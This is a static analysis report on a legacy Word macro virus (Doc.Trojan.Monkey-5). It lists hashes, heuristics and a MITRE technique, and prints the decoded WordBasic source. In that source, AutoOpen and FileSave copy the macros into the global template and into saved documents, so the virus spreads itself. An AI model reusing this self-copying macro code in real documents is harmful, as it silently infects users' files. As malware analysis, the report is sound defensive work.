Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ba873142022cc094…

MALICIOUS

Office (OLE)

36.5 KB Created: 1998-05-06 11:36:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 14abe0c918cb3305a4bb2515d16b2b92 SHA-1: e290ad761692010ea4cbc01b9968660446ae0d5e SHA-256: ba873142022cc094ba06aa03f510d1ec9e0a39f76061158a6a65824d0d1ffec0
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing legacy WordBasic macros. The AutoOpen macro is designed to execute automatically when the document is opened. It attempts to copy itself and other macros, and inserts a string indicating a compromise, suggesting an attempt to establish persistence or further compromise the system. The ClamAV detection further confirms its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Monkey-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Monkey-5
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1720 bytes
SHA-256: 25c309cdbb239c3b812de4b3d50aed21797721696b8df384a4ff8808f54a0289
Detection
ClamAV: Doc.Trojan.Monkey-5
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "FileSave"

Public Sub MAIN()
Attribute MAIN.VB_Description = "保存活动文档或模板"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileSave.MAIN"
WordBasic.FileSave
WordBasic.FileSaveAs Name:=WordBasic.[FileName$](), Format:=1
WordBasic.MacroCopy "AutoNew", WordBasic.[FileName$]() + ":AutoNew"
WordBasic.MacroCopy "FileSave", WordBasic.[FileName$]() + ":FileSave"
WordBasic.MacroCopy "AutoOpen", WordBasic.[FileName$]() + ":AutoOpen"
WordBasic.MacroCopy "AutoSave", WordBasic.[FileName$]() + ":AutoSave"
End Sub

Attribute VB_Name = "AutoSave"

Public Sub MAIN()
WordBasic.SetDocumentVar "Saved", "Ok"
End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
If WordBasic.[MacroFileName$]("AutoOpen") = WordBasic.[FileName$]() _
  And WordBasic.[MacroFileName$]("FileSave") = WordBasic.[FileName$]() _
  And WordBasic.[MacroFileName$]("AutoNew") = WordBasic.[FileName$]() _
  And WordBasic.[MacroFileName$]("AutoSave") = WordBasic.[FileName$]() _
Then
  WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "AutoOpen"
  WordBasic.MacroCopy WordBasic.[FileName$]() + ":FileSave", "FileSave"
  WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoNew", "AutoNew"
  WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoSave", "AutoSave"
End If
End Sub


Attribute VB_Name = "AutoNew"

Public Sub MAIN()
WordBasic.Insert " A monkey has controlled your Word!!!"
End Sub

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